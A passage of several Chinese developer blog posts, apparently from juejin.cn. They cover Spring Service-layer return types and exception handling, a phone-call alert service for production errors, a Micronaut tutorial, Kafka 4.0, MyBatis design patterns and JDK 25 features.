- 错误分散:错误处理分散在每个方法里,如果需要改进错误逻辑,要在多个地方修改,麻烦且容易出错。
而如果我们通过抛出异常并结合全局异常处理来统一处理错误,例如:
public void createOrder(Long userId, OrderDTO orderDTO) {
if (userId == null) {
throw new BusinessException("用户ID不能为空");
}
// 后续业务逻辑
}
再通过全局异常捕获来转换为 Result:
@RestControllerAdvice
public class GlobalExceptionHandler {
@ExceptionHandler(BusinessException.class)
public Result<Void> handleBusinessException(BusinessException e) {
return Result.error(400, e.getMessage());
}
@ExceptionHandler(Exception.class)
public Result<Void> handleException(Exception e) {
log.error("系统异常", e); // 这里可以查看堆栈信息
return Result.error(500, "系统繁忙");
}
}
这样做的好处是:
- 减少重复代码:业务方法不再需要写重复的错误判断,代码更简洁。
- 集中错误处理:错误处理集中在一个地方,修改时只需修改全局异常处理器,不用改动每个 Service 层方法。
- 业务与错误分离:业务逻辑专注处理核心功能,错误处理交给统一的机制,代码更加清晰易懂。
而且异常可以携带更丰富的上下文信息,如果业务侧需要时,可以带上堆栈信息,便于一些问题的定位。
测试便利性
Service层返回业务对象而不是Result时,能够大大提升单元测试的便利性:
@SpringBootTest
public class UserServiceTest {
@Autowired
private UserService userService;
@Test
public void testGetUserById() {
// 推荐的方式:直接断言业务对象
User user = userService.getUserById(1L);
assertNotNull(user);
assertEquals(张三, user.getName());
}
@Test
public void testGetUserById_NotFound() {
// 推荐的方式:断言抛出异常
assertThrows(BusinessException.class, () -> {
userService.getUserById(999L);
});
}
}
如果Service返回Result,测试代码则需要写得更复杂:
@Test
public void testGetUserById() {
// 不推荐的方式:需要解包Result
Result<User> result = userService.getUserById(1L);
assertTrue(result.isSuccess());
assertNotNull(result.getData());
assertEquals(张三, result.getData().getName());
}
测试代码变得莫名冗长,还得去关注响应结构,这并不是Service层测试的关注点。
Service 层本应专注于业务逻辑,测试也应该直接验证业务数据。
领域驱动设计角度
再换个角度。
从领域驱动设计(DDD)的角度来看,Service 层属于应用层或领域层,应该使用领域语言来表达业务逻辑。
而 Result 是基础设施层的概念,代表 HTTP 响应格式,不应该污染领域层。
例如,考虑转账业务:
@Service
public class TransferService {
public TransferResult transfer(Long fromAccountId, Long toAccountId, BigDecimal amount) {
Account fromAccount = accountRepository.findById(fromAccountId);
Account toAccount = accountRepository.findById(toAccountId);
fromAccount.deduct(amount);
toAccount.deposit(amount);
accountRepository.save(fromAccount);
accountRepository.save(toAccount);
return new TransferResult(fromAccount, toAccount, amount);
}
}
在这个例子中,TransferResult 是一个领域对象,代表了转账的结果,包含了与业务相关的意义,而不是一个通用的 HTTP 响应封装 Result。
这种做法更符合领域模型的表达,体现了领域层的职责——处理业务逻辑,而不是涉及 HTTP 响应格式的细节。
接口适配的灵活性
当 Service 层返回纯粹的业务对象时,Controller 层可以根据不同的接口需求灵活封装响应:
@RestController
@RequestMapping("/api")
public class UserController {
@Autowired
private UserService userService;
// REST接口返回Result
@GetMapping("/user/{id}")
public Result<User> getUser(@PathVariable Long id) {
User user = userService.getUserById(id);
return Result.success(user);
}
// GraphQL接口直接返回对象
@QueryMapping
public User user(@Argument Long id) {
return userService.getUserById(id);
}
// RPC接口返回自定义格式
@DubboService
public class UserRpcServiceImpl implements UserRpcService {
public UserDTO getUserById(Long id) {
User user = userService.getUserById(id);
return convertToDTO(user);
}
}
}
同一个Service方法可以被不同类型的接口复用,每个接口根据自己的协议要求封装响应。
强行使用 Result 会导致接口的适配性变差,无法根据不同协议的需求灵活定制响应格式。
灵活性反而丢失了。
事务边界清晰
Service 层通常是事务边界所在,当 Service 返回业务对象时,事务的语义更加清晰:
@Service
public class OrderService {
@Transactional
public Order createOrder(OrderDTO orderDTO) {
Order order = new Order();
// 设置订单属性
orderMapper.insert(order);
// 扣减库存
inventoryService.deduct(orderDTO.getProductId(), orderDTO.getQuantity());
return order;
}
}
在这个例子中,事务是围绕 Service 层的方法展开的,@Transactional 注解确保在业务逻辑执行失败时,事务会回滚。因为方法正常返回时,事务会提交;如果抛出异常,事务会回滚,事务的边界非常明确。
如果 Service 返回的是 Result,很难界定事务是否应该回滚。比如:
public Result<Order> createOrder(OrderDTO orderDTO) {
Order order = new Order();
// 设置订单属性
orderMapper.insert(order);
// 扣减库存
Result<Void> inventoryResult = inventoryService.deduct(orderDTO.getProductId(), orderDTO.getQuantity());
if (!inventoryResult.isSuccess()) {
return Result.fail("库存不足");
}
return Result.success(order);
}
在这种情况下,如果库存不足,虽然 Result 返回失败信息,但事务并不会回滚,可能会导致数据不一致,反而还得额外去抛出异常。
而通过抛出异常的方式,事务的回滚语义非常清晰:异常抛出则回滚,方法正常返回则提交,这种设计确保了事务的边界更加明确,避免了潜在的数据一致性问题。
写在最后
看来阿城要走的路还很长,码路漫漫,踏浪前行。
2026年,祝大家加班少,薪水多,bug少,头发多,多写点注释,少走点弯路。
人生就像一个大项目,需求多,时间紧,但没关系——bug 和头发总有一个会先来。
🤣
来源:juejin.cn/post/7594817135128248354
后端开发必备:生产环境异常自动电话通知方案
生产环境出bug了但没及时发现?支付接口异常导致资损?这个语音通知方案专为开发者打造,重要异常直接打电话,让你第一时间响应处理!
作为开发者,我们最怕的就是生产环境出现异常却没有及时发现。飞书群、钉钉群报警很容易错过,尤其是深夜或周末。今天分享一个专门针对开发者的语音电话通知解决方案,让重要异常第一时间电话通知到你。
🎯 典型使用场景
需要立即电话通知的开发场景:
- 🚨 API接口异常或超时
- 💰 支付流程异常(防止资损)
- 📊 数据处理任务失败
- 🔐 用户登录异常激增
- ⚡ 核心业务逻辑报错
🚀 3步快速集成
| 步骤 | 操作说明 |
|---|---|
| 1️⃣ 扫码注册 | 访问 push.spug.cc,微信扫码登录 |
| 2️⃣ 创建模板 | 新建消息模板 → 语音通道 → 语音模板 → 动态推送对象 |
| 3️⃣ 集成代码 | 复制API地址,添加到异常处理代码中 |

💻 代码集成示例
🐍 Python(异常处理)
import requests
import logging
def send_voice_alert(message, phone):
"""发送语音告警"""
url = "https://push.spug.cc/send/A27L****bgEY"
data = {'key1': message, 'targets': phone}
try:
response = requests.post(url, json=data, timeout=5)
return response.json()
except Exception as e:
logging.error(f"语音告警发送失败: {e}")
# 在异常处理中使用
try:
# 你的业务代码
process_payment(order_id)
except PaymentException as e:
# 支付异常立即电话通知
send_voice_alert(f"支付异常: {str(e)}", "186xxxx9898")
raise
☕ Java(Spring Boot异常处理)
@Component
public class VoiceAlertService {
private final RestTemplate restTemplate = new RestTemplate();
private static final String VOICE_URL = "https://push.spug.cc/send/A27L****bgEY";
public void sendVoiceAlert(String message, String phone) {
try {
Map<String, String> data = new HashMap<>();
data.put("key1", message);
data.put("targets", phone);
HttpHeaders headers = new HttpHeaders();
headers.setContentType(MediaType.APPLICATION_JSON);
HttpEntity<Map<String, String>> entity = new HttpEntity<>(data, headers);
restTemplate.postForEntity(VOICE_URL, entity, String.class);
} catch (Exception e) {
log.error("语音告警发送失败: {}", e.getMessage());
}
}
}
// 全局异常处理器
@ControllerAdvice
public class GlobalExceptionHandler {
@Autowired
private VoiceAlertService voiceAlertService;
@ExceptionHandler(CriticalException.class)
public ResponseEntity<String> handleCriticalException(CriticalException e) {
// 关键异常立即电话通知
voiceAlertService.sendVoiceAlert("API异常: " + e.getMessage(), "186xxxx9898");
return ResponseEntity.status(500).body("Internal Server Error");
}
}
🔧 实际开发场景
场景1: 支付接口监控
def create_order_payment():
try:
result = payment_service.create_order()
if result.status != 'success':
send_voice_alert("支付订单创建失败", "186xxxx9898")
except Exception as e:
send_voice_alert(f"支付系统异常: {str(e)}", "186xxxx9898")
场景2: 定时任务监控
def daily_data_sync():
try:
sync_user_data()
except Exception as e:
send_voice_alert("每日数据同步失败", "186xxxx9898")
raise
场景3: API响应时间监控
@Component
public class ApiPerformanceInterceptor implements HandlerInterceptor {
@Autowired
private VoiceAlertService voiceAlertService;
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response,
Object handler) throws Exception {
request.setAttribute("startTime", System.currentTimeMillis());
return true;
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response,
Object handler, Exception ex) throws Exception {
long startTime = (Long) request.getAttribute("startTime");
long duration = System.currentTimeMillis() - startTime;
if (duration > 5000) { // 超过5秒
String message = String.format("API响应慢: %s 耗时%dms",
request.getRequestURI(), duration);
voiceAlertService.sendVoiceAlert(message, "186xxxx9898");
}
}
}
📋 参数说明
| 参数 | 说明 | 示例值 |
|---|---|---|
key1 | 异常消息内容 | "支付接口异常" |
targets | 接收电话的手机号 | "186xxxx9898" |
❓ 开发者常见问题
🤔 如何避免告警风暴?
建议设置异常频率限制,同类异常5分钟内只发送一次。
💰 语音通话收费吗?
语音通话按次计费,建议只对关键异常使用,普通日志用短信或微信。
🛡️ 如何保护API安全?
- 不要将API地址提交到公开代码仓库
- 可以设置IP白名单限制调用来源
- 建议使用环境变量存储API地址
🎉 为什么开发者需要语音通知?
✅ 及时响应:生产故障分秒必争,电话比微信更直接
✅ 降低损失:支付、订单等关键业务异常能立即处理
✅ 简单集成:几行代码搞定,无需复杂配置
✅ 多语言支持:Python、Node.js、Java等任何语言都能用
✅ 个人友好:无需企业资质,个人开发者也能用
记住:好的开发者不是不写bug,而是能第一时间发现并修复bug!
网站链接:push.spug.cc
来源:juejin.cn/post/7531844121465274377
Spring 的替代方案:Micronaut
一、为什么选择 Micronaut?
在开始编码前,先了解 Micronaut 的核心优势:
| 特性 | Micronaut | Spring Boot |
|---|---|---|
| 启动速度 | 毫秒级(依赖 AOT 编译) | 秒级(依赖反射和动态代理) |
| 内存占用 | 极低(适合 Serverless 环境) | 较高(需加载完整上下文) |
| 依赖注入 | 编译时生成代码(无反射) | 运行时反射(影响性能) |
| 响应式编程 | 原生支持(Project Reactor) | 支持 WebFlux(但不如 Micronaut 集成紧密) |
| GraalVM 支持 | 原生优化(直接生成原生镜像) | 需要额外配置(Spring Native) |
适用场景:
- 高并发、低延迟的微服务(如 API 网关、实时数据处理)。
- Serverless 环境(如 AWS Lambda、Azure Functions)。
- 资源受限的边缘计算设备。
二、示例项目:构建一个图书管理微服务
我们将实现一个简单的 图书管理服务,支持以下功能:
- 添加图书(POST /books)。
- 查询所有图书(GET /books)。
- 根据 ID 查询图书(GET /books/{id})。
1. 初始化项目
使用 Micronaut Launch 生成项目模板:
(1) 选择 Micronaut Version:4.9.0。
(2) 语言:Java。
(3) 构建工具:Gradle(或 Maven)。
(4) 添加依赖:
- Micronaut Data JDBC(数据库访问)。
- Micronaut HTTP Server(Web 服务)。
- Lombok(简化代码)。
- H2 Database(内存数据库,便于测试)。
生成后的项目结构如下:
src/
├── main/
│ ├── java/com/cycad/micronaut/
│ │ ├── controller/ # 控制器层
│ │ ├── model/ # 数据模型
│ │ ├── repository/ # 数据访问层
│ │ └── Application.java # 主启动类
│ └── resources/
│ └── application.yml # 配置文件
2. 定义数据模型
创建 Book 实体类,使用 Lombok 简化代码:
import io.micronaut.data.annotation.AutoPopulated;
import io.micronaut.data.annotation.Id;
import io.micronaut.data.annotation.MappedEntity;
import lombok.Data;
@Data
@MappedEntity
publicclass Book {
@Id
@AutoPopulated
private Long id;
private String title;
private String author;
private Double price;
}
3. 实现数据访问层
使用 Micronaut Data JDBC 定义 BookRepository,无需编写 SQL:
import com.cycad.micronaut.model.Book;
import io.micronaut.data.jdbc.annotation.JdbcRepository;
import io.micronaut.data.model.query.builder.sql.Dialect;
import io.micronaut.data.repository.CrudRepository;
@JdbcRepository(dialect = Dialect.H2)
public interface BookRepository extends CrudRepository<Book, Long> {
}
4. 编写控制器层
实现 RESTful API 控制器:
import com.cycad.micronaut.model.Book;
import com.cycad.micronaut.repository.BookRepository;
import io.micronaut.http.annotation.*;
import jakarta.inject.Inject;
import java.util.List;
@Controller("/books")
publicclass BookController {
@Inject
private BookRepository bookRepository;
@Get
public List<Book> listBooks() {
return bookRepository.findAll().toList();
}
@Get("/{id}")
public Book getBookById(Long id) {
return bookRepository.findById(id)
.orElseThrow(() -> new RuntimeException("Book not found"));
}
@Post
public Book createBook(@Body Book book) {
return bookRepository.save(book);
}
}
5. 配置数据库
在 application.yml 中配置 H2 内存数据库:
# src/main/resources/application.yml
micronaut:
application:
name:book-service
server:
port:8080
datasources:
default:
url:jdbc:h2:mem:devDb;LOCK_TIMEOUT=10000;DB_CLOSE_ON_EXIT=FALSE
driverClassName:org.h2.Driver
username:sa
password:""
schema-generate:CREATE_DROP
dialect:H2
6. 启动服务
运行主类 Application.java:
import io.micronaut.runtime.Micronaut;
public class Application {
public static void main(String[] args) {
Micronaut.run(Application.class, args);
}
}
观察控制台输出,Micronaut 的启动速度极快(通常在 100ms 以内):
14:25:30.123 [main] INFO i.m.context.env.DefaultEnvironment - Established active environments: [cli, test]
14:25:30.456 [main] INFO i.m.h.s.netty.NettyHttpServer - Server Started: http://localhost:8080
三、测试 API
使用 curl 或 Postman 测试接口:
(1) 添加图书:
curl -X POST -H "Content-Type: application/json" \
-d '{"title": "Effective Java", "author": "Joshua Bloch", "price": 45.99}' \
http://localhost:8080/books
响应:
{"id":1,"title":"Effective Java","author":"Joshua Bloch","price":45.99}
(2) 查询所有图书:
curl http://localhost:8080/books
响应:
[{"id":1,"title":"Effective Java","author":"Joshua Bloch","price":45.99}]
(3) 根据 ID 查询:
curl http://localhost:8080/books/1
响应:
{"id":1,"title":"Effective Java","author":"Joshua Bloch","price":45.99}
四、GraalVM 原生镜像
通过 GraalVM 将应用编译为原生二进制文件,进一步减少启动时间:
(1) 安装 GraalVM 和 Native Image 工具。
(2) 在 build.gradle 中添加插件:
id 'io.micronaut.application' version '3.10.0'
id 'org.graalvm.nativeimage' version '0.9.21'
(3) 执行编译命令:
./gradlew nativeImage
(4) 生成的可执行文件位于 build/native-image/,启动速度可压缩至 10ms 以内!
五、总结
Micronaut 通过 AOT 编译、低内存占用 和 快速启动 等特性,为微服务开发提供了高性能的解决方案。本文通过一个完整的图书管理服务示例,演示了其核心功能,并对比了与 Spring Boot 的性能差异。无论是构建传统微服务还是 Serverless 应用,Micronaut 都是一个值得尝试的选择。
来源:juejin.cn/post/7527884547537223690
Kafka 4.0 正式发布,彻底抛弃 Zookeeper,队列功能来袭!
Apache Kafka 4.0 正式发布了,这是一次里程碑式的版本更新。这次更新带来的改进优化非常多,不仅简化了 Kafka 的运维,还显著提升了性能,扩展了应用场景。

我这里简单聊聊我觉得最重要的 3 个改动:
- KRaft 模式成为默认模式
- 消费者重平衡协议升级
- 队列功能(早期访问版本)
详细更新介绍可以参考官方文档:http://www.confluent.io/blog/introd… 。
KRaft 模式成为默认模式
在 Kafka 2.8 之前,Kafka 最被大家诟病的就是其重度依赖于 Zookeeper 做元数据管理和集群的高可用(ZK 模式)。在 Kafka 2.8 之后,引入了基于 Raft 协议的 KRaft 模式(Kafka Raft),不再依赖 Zookeeper,大大简化了 Kafka 的架构,让你可以以一种轻量级的、单进程的方式来使用 Kafka。

KRaft 模式在后续的版本中不断完善,直到 Kafka 3.3.1,被正式标记为生产环境可用(Production Ready)。

Kafka 4.0 则迈出了更大的一步——彻底移除了对 Zookeeper 的支持,并默认采用 KRaft 模式。
需要注意的是,Kafka 4.0 不再支持以 ZK 模式运行或从 ZK 模式迁移。如果你的 Kafka 仍然使用 ZK 模式,官方建议先升级到过渡版本(如 Kafka 3.9),执行 ZK 迁移后再升级到目标版本。
详细介绍:developer.confluent.io/learn/kraft…
消费者重平衡协议升级
全新的消费者重平衡协议正式 GA 了,可以告别“stop-the-world”重新平衡了!这个协议的核心思想最早在 Kafka 2.4 版本 通过KIP-429: Kafka Consumer Incremental Rebalance Protocol 实现。
新协议的核心在于增量式重平衡,不再依赖全局同步屏障,而是由组协调器(Gr0upCoordinator)驱动,各个消费者独立地与协调器交互,只调整自身相关的分区分配,从而将全局的“停顿”分解成多个局部的、微小的调整。只有需要调整的消费者和分区才会发生变更,未受影响的消费者可以继续正常工作(旧有的再均衡协议依赖于组范围内的同步屏障,所有消费者都需要参与,这会导致明显的“停顿”)。

详细介绍:cwiki.apache.org/confluence/…
队列功能(早期访问版本)
Kafka 4.0 通过引入共享组 (Share Gr0up) 机制提供了类似队列的功能。不过,它并非真正意义上的队列,而是利用 Kafka 已有的主题(Topic)和分区(Partition)机制,结合新的消费模式和记录确认机制来实现类似队列的行为。
Kafka 发布订阅模型
共享组解决了传统 Kafka 消费者组(Consumer Gr0ups)在某些场景下的局限性,主要体现在:
- 支持多消费者协同消费:多个消费者可以协同消费同一主题的消息,并可以同时处理同一分区的数据。每个消息在被确认之前,都会被一个时间限制的锁机制保护,确保同一时刻只有一个消费者可以尝试处理。
- 突破消费者组与分区数量的限制:共享组的消费者数量可以超过主题的分区数量,从而更好地支持高并发消费场景。而消费者组的并行消费能力受限于分区数量,这往往导致用户为了满足峰值负载下的并行消费需求而创建过多的分区,造成资源浪费。
- 消息的独立确认:支持对每条消息进行独立确认、释放或拒绝,提供更精细的消息处理能力。
- 消息投递次数记录:系统会记录每条消息的投递次数,方便处理无法处理的消息。
共享组还支持无队列深度限制和基于时间点的恢复能力,极大地扩展了 Kafka 的应用场景。
详细介绍:cwiki.apache.org/confluence/…
Kafka 常见面试题
关于 Kafka 以及其他常见消息队列的知识点/面试题总结,大家可以参考这两篇文章:
来源:juejin.cn/post/7485584242040062002
从Mybatis源码学会了什么
摘要:MyBatis源码展现了优秀的设计模式和架构思想。其运用建造者模式创建复杂对象,动态代理实现Mapper接口,装饰器动态扩展功能等。架构上采用清晰分层设计,插件化扩展机制实现开闭原则,多级缓存提升性能,面向接口编程降低耦合。这些设计理念对日常业务开发也有很大借鉴价值。
通过以下系列博文,我们熟悉了Mybatis源码实现的诸多细节,如Executor接口及其实现、缓存体系、自定义插件等。
- Mybatis入门到精通 一
- Mybatis的Executor和缓存体系
- Mybatis二级缓存实现详解
- Mybatis执行Mapper过程详解
- Mybatis插件原理及分页插件
- Spring集成Mybatis原理详解
这次,让我们跳出局部,看看Mybatis在设计和架构上,有哪些值得我们学习的地方。
注:本文中源码来自mybatis 3.4.x版本,地址github.com/mybatis/myb…
一 设计模式
1.1 建造者模式
MyBatis 大量使用建造者模式解决「复杂对象初始化」问题,比如 SqlSessionFactoryBuilder、XMLConfigBuilder、MapperBuilderAssistant 等。
以SqlSessionFactoryBuilder为例,在创建SqlSessionFactory前需要先解析主配置文件,这个过程非常繁琐。使用建造者模式:
- 分离「对象构建逻辑」和「对象使用逻辑」,让复杂对象创建流程清晰;
- 建造者可以分步骤校验配置正确性,避免无效对象产生;
- 多重载的 build 方法, 适配不同入参场景 。
public class SqlSessionFactoryBuilder {
public SqlSessionFactory build(Reader reader) {
return build(reader, null, null);
}
// 简化代码:reader就是配置文件的读取流
public SqlSessionFactory build(Reader reader, String environment, Properties properties) {
XMLConfigBuilder parser = new XMLConfigBuilder(reader, environment, properties);
return build(parser.parse());
}
}
1.2 工厂模式
工厂模式隐藏对象创建细节,上层无需关心「具体实现类」,只依赖接口。例如
SqlSessionFactory负责创建SqlSession,提供了多个重载实现。
- Executor、StatementHandler、ResultSetHandler、ParameterHandler只能由
Configuration中的newExecutor等方法创建,根据配置选择不同实现类;同时应用自定义插件。
1.3 动态代理
MyBatis 核心的特性之一是「Mapper 接口无需实现类」,底层通过 JDK 动态代理,实现接口方法调用触发SQL执行。详见 MapperProxyFactory,缓存方法元数据,避免重复解析。
// 缓存mapper方法元数据,避免重复解析
private final Map<Method, MapperMethod> methodCache = new ConcurrentHashMap<Method, MapperMethod>();
此外,插件原理也是动态代理,定义Interceptor接口声明代理逻辑、代理对象创建等。使用户可以自定义插件实现。

1.4 模板方法
- 模板方法将「不变的通用逻辑」抽离到父类,「可变的差异化逻辑」交给子类实现;
- 避免子类重复编写通用代码(如缓存检查、参数校验),降低代码冗余;
- 父类控制流程,子类只关注核心逻辑,符合「开闭原则」。
BaseExecutor 实现了模板方法模式,将 Executor 的通用流程(如参数处理、SQL 执行、结果集处理)抽象为模板方法,具体子类(SimpleExecutor/BatchExecutor/ReuseExecutor)只需实现差异化逻辑。
// 模板方法,一级缓存使用逻辑
@Override
public <E> List<E> query(MappedStatement ms, Object parameter, RowBounds rowBounds, ResultHandler resultHandler, CacheKey key, BoundSql boundSql) throws SQLException {
// ...,会调用doQuer()
}
// 由子类实现
protected abstract <E> List<E> doQuery(...)
1.5 装饰模式
用装饰模式替代继承,无需定义子类,就能给对象动态增加职责。
如通过CachingExecutor装饰,给BaseExecutor增加二级缓存能力。
public Executor newExecutor(Transaction transaction, ExecutorType executorType) {
// 对BaseExecutor子类进行装饰
if (cacheEnabled) {
executor = new CachingExecutor(executor);
}
// 省略...
}

如Cache接口体系,定义了很多装饰器,根据用户配置,实现功能特性自由组合。
1.6 策略模式
Executor接口可根据用户配置,运行时可切换SimpleExecutor、ReuseExecutor或BatchExecutor,实现不同的SQL执行策略。
RoutingStatementHandler 根据配置路由到不同的 StatementHandler实现。
1.7 注册中心
源码中大量使用 Registry 模式来管理可扩展组件, 可以统一初始化、统一查找、统一生命周期;例如:
- TypeHandlerRegistry
- MapperRegistry
- LanguageDriverRegistry
- CacheRegistry

二 架构思维
2.1 分层设计
MyBatis的核心分层非常清晰,每层只做一件事,符合「单一职责原则」:

- 各层职责:
- Mapper 层:用户接口,定义 SQL 操作;
- SqlSession 层:会话入口,封装 Executor 调用;
- Executor 层:执行器,处理缓存、事务、SQL 执行流程;
- StatementHandler 层:处理 SQL 拼接、Statement 创建;
- Parameter/ResultSetHandler 层:参数绑定、结果集映射;
- 架构思维:
- 分层降低耦合:修改结果集映射逻辑,不会影响 Executor 层;
- 每层依赖「接口」而非「实现」:比如 Executor 是接口,具体实现可替换;
- 分层便于测试:可单独测试 ParameterHandler 的参数绑定逻辑。
2.2 插件化设计
MyBatis 提供了插件扩展机制(Interceptor),允许开发者通过拦截器增强核心组件(Executor、StatementHandler、ParameterHandler、ResultSetHandler)的功能,实现如分页、日志、加密等。
- 核心设计:
- 定义
Interceptor接口,开发者实现intercept方法即可拦截目标方法; - 通过
@Intercepts注解指定拦截的类和方法,无需修改源码; - 拦截器链(InterceptorChain)通过动态代理层层包装目标对象,保证插件的有序执行;
- 定义
- 架构思维:
- 「开闭原则」的良好体现:框架核心功能固定,扩展功能通过插件实现,无需修改源码;
- 「责任链模式」:多个插件按顺序执行,每个插件只处理自己的逻辑,互不干扰;
- 扩展点设计要「最小化」:只开放核心组件的关键方法,避免过度暴露内部逻辑。
2.3 多级缓存
MyBatis 实现了「一级缓存(SqlSession 级别)+ 二级缓存(Mapper 级别)」的多级缓存:
- 一级缓存:BaseExecutor 中的
localCache(PerpetualCache),默认开启,SqlSession 关闭后失效; - 二级缓存:CachingExecutor 包装普通 Executor,缓存数据存入 Mapper 对应的 Cache 对象,跨 SqlSession 共享;
同时支持集成 Redis/Ehcache 等第三方缓存 。
2.4 面向接口编程
MyBatis 全程贯彻「依赖倒置原则」,完全面向接口编程:接口定义「做什么」,实现类定义「怎么做」,替换实现类不影响上层逻辑;
- 核心组件都是接口:
Executor、StatementHandler、ParameterHandler、ResultSetHandler、SqlSession等; - 上层代码只依赖接口:比如
SqlSession的selectList方法,底层调用的是Executor接口的query方法,无需关心具体是 SimpleExecutor 还是 BatchExecutor。
2.5 约定优于配置
MyBatis 大量使用约定来减少配置,通过约定可以显著降低配置量,提升开发体验。例如:
- Mapper 接口与 XML 文件同名同包;
- 方法名与 SQL ID 一致;
- 结果集字段与 JavaBean 属性自动映射;
StatementHandler接口默认使用PreparedStatementHandler
2.6 架构思维总结
MyBatis源码体现了简单而不简陋的设计哲学:
- 高内聚低耦合 - 模块职责清晰,依赖抽象
- 开闭原则 - 对扩展开放,对修改关闭
- 组合优于继承 - 装饰器、代理模式的应用
- 关注点分离 - SQL、映射、执行逻辑分离
- 性能优化 - 缓存、延迟加载、连接复用
上述技巧和思维不仅适用于框架开发,在日常业务开发中也能直接落地。
- 小型项目:学习其简洁的API设计
- 中型项目:借鉴其分层架构和模式应用
- 大型项目:参考其扩展机制和插件体系
来源:juejin.cn/post/7598477092197220390
JDK 25(长期支持版) 发布,新特性解读!
JDK 25 重磅发布了!这是一个非常重要的版本,里程碑式。
JDK 25 是 LTS(长期支持版),至此为止,有 JDK8、JDK11、JDK17、JDK21 和 JDK 25 这五个长期支持版了。
JDK 21 共有 18 个新特性,这篇文章会挑选其中较为重要的一些新特性进行详细介绍:
- JEP 506: Scoped Values (作用域值)
- JEP 512: Compact Source Files and Instance Main Methods (紧凑源文件与实例主方法)
- JEP 519: Compact Object Headers (紧凑对象头)
- JEP 521: Generational Shenandoah (分代 Shenandoah GC)
- JEP 507: Primitive Types in Patterns, instanceof, and switch (模式匹配支持基本类型, 第三次预览)
- JEP 511: Module Import Declarations (模块导入声明)
- JEP 513: Flexible Constructor Bodies (灵活的构造函数体)
- JEP 508: Vector API (向量 API, 第十次孵化)
其实里面的很多新特性在之前的版本中就多次提到了,这里只是转正或者再次预览。
下图是从 JDK 8 到 JDK 24 每个版本的更新带来的新特性数量和更新时间:

JEP 506: 作用域值
作用域值(Scoped Values)可以在线程内和线程间共享不可变的数据,优于线程局部变量 ThreadLocal ,尤其是在使用大量虚拟线程时。
final static ScopedValue<...> V = new ScopedValue<>();
// In some method
ScopedValue.where(V, <value>)
.run(() -> { ... V.get() ... call methods ... });
// In a method called directly or indirectly from the lambda expression
... V.get() ...
作用域值通过其“写入时复制”(copy-on-write)的特性,保证了数据在线程间的隔离与安全,同时性能极高,占用内存也极低。这个特性将成为未来 Java 并发编程的标准实践。
JEP 512: 紧凑源文件与实例主方法
该特性第一次预览是由 JEP 445 (JDK 21 )提出,随后经过了 JDK 22 、JDK 23 和 JDK 24 的改进和完善,最终在 JDK 25 顺利转正。
这个改进极大地简化了编写简单 Java 程序的步骤,允许将类和主方法写在同一个没有顶级 public class的文件中,并允许 main 方法成为一个非静态的实例方法。
class HelloWorld {
void main() {
System.out.println("Hello, World!");
}
}
进一步简化:
void main() {
System.out.println("Hello, World!");
}
这是为了降低 Java 的学习门槛和提升编写小型程序、脚本的效率而迈出的一大步。初学者不再需要理解 public static void main(String[] args) 这一长串复杂的声明。对于快速原型验证和脚本编写,这也使得 Java 成为一个更有吸引力的选择。
JEP 519: 紧凑对象头
该特性第一次预览是由 JEP 450 (JDK 24 )提出,JDK 25 就顺利转正了。
通过优化对象头的内部结构,在 64 位架构的 HotSpot 虚拟机中,将对象头大小从原本的 96-128 位(12-16 字节)缩减至 64 位(8 字节),最终实现减少堆内存占用、提升部署密度、增强数据局部性的效果。
紧凑对象头并没有成为 JVM 默认的对象头布局方式,需通过显式配置启用:
- JDK 24 需通过命令行参数组合启用:
$ java -XX:+UnlockExperimentalVMOptions -XX:+UseCompactObjectHeaders ...; - JDK 25 之后仅需
-XX:+UseCompactObjectHeaders即可启用。
JEP 521: 分代 Shenandoah GC
Shenandoah GC 在 JDK12 中成为正式可生产使用的 GC,默认关闭,通过 -XX:+UseShenandoahGC 启用。
Redhat 主导开发的 Pauseless GC 实现,主要目标是 99.9% 的暂停小于 10ms,暂停与堆大小无关等
传统的 Shenandoah 对整个堆进行并发标记和整理,虽然暂停时间极短,但在处理年轻代对象时效率不如分代 GC。引入分代后,Shenandoah 可以更频繁、更高效地回收年轻代中的大量“朝生夕死”的对象,使其在保持极低暂停时间的同时,拥有了更高的吞吐量和更低的 CPU 开销。
Shenandoah GC 需要通过命令启用:
- JDK 24 需通过命令行参数组合启用:
-XX:+UseShenandoahGC -XX:+UnlockExperimentalVMOptions -XX:ShenandoahGCMode=generational - JDK 25 之后仅需
-XX:+UseShenandoahGC -XX:ShenandoahGCMode=generational即可启用。
JEP 507: 模式匹配支持基本类型 (第三次预览)
该特性第一次预览是由 JEP 455 (JDK 23 )提出。
模式匹配可以在 switch 和 instanceof 语句中处理所有的基本数据类型(int, double, boolean 等)
static void test(Object obj) {
if (obj instanceof int i) {
System.out.println("这是一个int类型: " + i);
}
}
这样就可以像处理对象类型一样,对基本类型进行更安全、更简洁的类型匹配和转换,进一步消除了 Java 中的模板代码。
JEP 505: 结构化并发(第五次预览)
JDK 19 引入了结构化并发,一种多线程编程方法,目的是为了通过结构化并发 API 来简化多线程编程,并不是为了取代java.util.concurrent,目前处于孵化器阶段。
结构化并发将不同线程中运行的多个任务视为单个工作单元,从而简化错误处理、提高可靠性并增强可观察性。也就是说,结构化并发保留了单线程代码的可读性、可维护性和可观察性。
结构化并发的基本 API 是StructuredTaskScope,它支持将任务拆分为多个并发子任务,在它们自己的线程中执行,并且子任务必须在主任务继续之前完成。
StructuredTaskScope 的基本用法如下:
try (var scope = new StructuredTaskScope<Object>()) {
// 使用fork方法派生线程来执行子任务
Future<Integer> future1 = scope.fork(task1);
Future<String> future2 = scope.fork(task2);
// 等待线程完成
scope.join();
// 结果的处理可能包括处理或重新抛出异常
... process results/exceptions ...
} // close
结构化并发非常适合虚拟线程,虚拟线程是 JDK 实现的轻量级线程。许多虚拟线程共享同一个操作系统线程,从而允许非常多的虚拟线程。
JEP 511: 模块导入声明
该特性第一次预览是由 JEP 476 (JDK 23 )提出,随后在 JEP 494 (JDK 24)中进行了完善,JDK 25 顺利转正。
模块导入声明允许在 Java 代码中简洁地导入整个模块的所有导出包,而无需逐个声明包的导入。这一特性简化了模块化库的重用,特别是在使用多个模块时,避免了大量的包导入声明,使得开发者可以更方便地访问第三方库和 Java 基本类。
此特性对初学者和原型开发尤为有用,因为它无需开发者将自己的代码模块化,同时保留了对传统导入方式的兼容性,提升了开发效率和代码可读性。
// 导入整个 java.base 模块,开发者可以直接访问 List、Map、Stream 等类,而无需每次手动导入相关包
import module java.base;
public class Example {
public static void main(String[] args) {
String[] fruits = { "apple", "berry", "citrus" };
Map<String, String> fruitMap = Stream.of(fruits)
.collect(Collectors.toMap(
